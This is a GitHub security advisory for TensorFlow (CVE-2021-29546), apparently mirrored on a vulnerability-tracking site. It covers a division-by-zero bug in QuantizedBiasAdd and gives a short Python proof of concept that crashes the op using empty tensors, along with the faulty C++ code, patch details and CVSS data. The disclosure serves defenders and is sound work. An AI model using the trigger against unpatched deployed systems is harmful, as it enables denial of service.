ghsa-m34j-p8rj-wjxq
Vulnerability from github
Impact
An attacker can trigger an integer division by zero undefined behavior in tf.raw_ops.QuantizedBiasAdd:
```python import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8) bias = tf.constant([], shape=[0], dtype=tf.quint8) min_input = tf.constant(-10.0, dtype=tf.float32) max_input = tf.constant(-10.0, dtype=tf.float32) min_bias = tf.constant(-10.0, dtype=tf.float32) max_bias = tf.constant(-10.0, dtype=tf.float32)
tf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input, max_input=max_input, min_bias=min_bias, max_bias=max_bias, out_type=tf.qint32) ```
This is because the implementation of the Eigen kernel does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:
cc
template <typename T1, typename T2, typename T3>
void QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice& device,
const Tensor& input, float input_min,
float input_max, const Tensor& smaller_input,
float smaller_input_min, float smaller_input_max,
Tensor* output, float* output_min,
float* output_max) {
...
const int64 input_element_count = input.NumElements();
const int64 smaller_input_element_count = smaller_input.NumElements();
...
bcast[0] = input_element_count / smaller_input_element_count;
...
}
This integral division by 0 is undefined behavior.
Patches
We have patched the issue in GitHub commit 67784700869470d65d5f2ef20aeb5e97c31673cb.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
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],
"aliases": [
"CVE-2021-29546"
],
"database_specific": {
"cwe_ids": [
"CWE-369"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T21:45:01Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nAn attacker can trigger an integer division by zero undefined behavior in `tf.raw_ops.QuantizedBiasAdd`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nbias = tf.constant([], shape=[0], dtype=tf.quint8)\nmin_input = tf.constant(-10.0, dtype=tf.float32)\nmax_input = tf.constant(-10.0, dtype=tf.float32)\nmin_bias = tf.constant(-10.0, dtype=tf.float32)\nmax_bias = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input,\n max_input=max_input, min_bias=min_bias,\n max_bias=max_bias, out_type=tf.qint32)\n```\n\nThis is because the [implementation of the Eigen kernel](https://github.com/tensorflow/tensorflow/blob/61bca8bd5ba8a68b2d97435ddfafcdf2b85672cd/tensorflow/core/kernels/quantization_utils.h#L812-L849) does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:\n\n```cc\ntemplate \u003ctypename T1, typename T2, typename T3\u003e\nvoid QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice\u0026 device,\n const Tensor\u0026 input, float input_min,\n float input_max, const Tensor\u0026 smaller_input,\n float smaller_input_min, float smaller_input_max,\n Tensor* output, float* output_min,\n float* output_max) {\n ...\n const int64 input_element_count = input.NumElements();\n const int64 smaller_input_element_count = smaller_input.NumElements();\n ...\n bcast[0] = input_element_count / smaller_input_element_count;\n ...\n}\n```\n\nThis integral division by 0 is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [67784700869470d65d5f2ef20aeb5e97c31673cb](https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
"id": "GHSA-m34j-p8rj-wjxq",
"modified": "2024-10-30T23:10:12Z",
"published": "2021-05-21T14:23:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m34j-p8rj-wjxq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29546"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-474.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-672.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-183.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Division by 0 in `QuantizedBiasAdd`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.